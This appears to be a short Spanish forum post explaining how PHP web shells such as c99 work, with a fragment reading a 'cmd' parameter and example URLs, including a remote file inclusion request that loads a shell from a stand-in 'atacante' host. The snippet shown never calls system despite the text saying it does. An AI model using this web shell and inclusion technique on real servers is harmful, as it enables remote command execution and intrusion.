aver, si te fijas en los codigos de las shells.
te pongo un ejemplo:
<?php
$cmd=$_GET["cmd"];
?>
la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.
$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro
cmd se ejecutara con system y nos mostrara el resultado del comando.
* ademas de ejecutar con system, se pueden ejecutar comandos con: passthru, system_exec, shell_exec, exec y con eval.
Ejemplo:
http://localhost/shell.php?cmd=ls%20-liaPor eso cuando en un RFI:
http://vulnerable/principal/main.php?pag_dest=http://atacante/shell.txt?cmd=lssaludos.